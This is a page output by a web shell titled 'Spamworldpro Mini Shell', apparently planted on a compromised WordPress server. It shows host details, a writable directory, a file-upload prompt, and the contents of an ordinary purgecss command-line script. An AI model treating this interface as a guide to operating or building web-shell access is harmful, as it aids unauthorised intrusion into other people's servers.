Spamworldpro Mini Shell
Spamworldpro


Server : Apache
System : Linux server2.corals.io 4.18.0-348.2.1.el8_5.x86_64 #1 SMP Mon Nov 15 09:17:08 EST 2021 x86_64
User : corals ( 1002)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/corals/mets.corals.io/wp-content/themes/metras/node_modules/.bin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/corals/mets.corals.io/wp-content/themes/metras/node_modules/.bin/purgecss
#!/usr/bin/env node
var yargs = require("yargs"),
    fs = require("fs"),
    Purgecss = require("../lib/purgecss.js")

var yargsBin,
    argv,
    options

yargsBin = yargs
    .usage("$0 --css <css> --content <content> [option]")
    .option("con", {
        alias: "content",
        description: "glob of content files",
        type: "array"
    })
    .option("css", {
        alias: "css",
        description: "glob of css files",
        type: "array"
    })
    .option("c", {
        alias: "config",
        description: "configuration file",
        type: "string"
    })
    .option("o", {
        alias: "out",
        description: "Filepath directory to write purified css files to",
        type: "string"
    })
    .option("w", {
        alias: "whitelist",
        description: "List of classes that should not be removed",
        type: "array",
        default: []
    })
    .demandCommand(0)
    .help()
    .alias("h", "help")
    .version()
    .alias("v", "version")
argv = yargs.argv

options = {
    content: argv.content,
    css: argv.css,
    whitelist: argv.whitelist
}

var purgecss;
if ((typeof argv.config === "undefined") && (typeof argv.css === "undefined" || typeof argv.content === "undefined")) {
    yargsBin.showHelp("log")
    return
}
if (argv.config) {
    purgecss = new Purgecss(argv.config)
} else {
    purgecss = new Purgecss(options)
}

if (argv.out) {
    var result = purgecss.purge()
    for (var i = 0; i < result.length; i++) {
        var filename = result[i].file.split("/").pop()
        fs.writeFile(argv.out + "/" + filename, result[i].css, function(err) {
            if (err) console.error(err.message)
        })
    }
} else {
    console.log(JSON.stringify(purgecss.purge()))
}

Spamworldpro Mini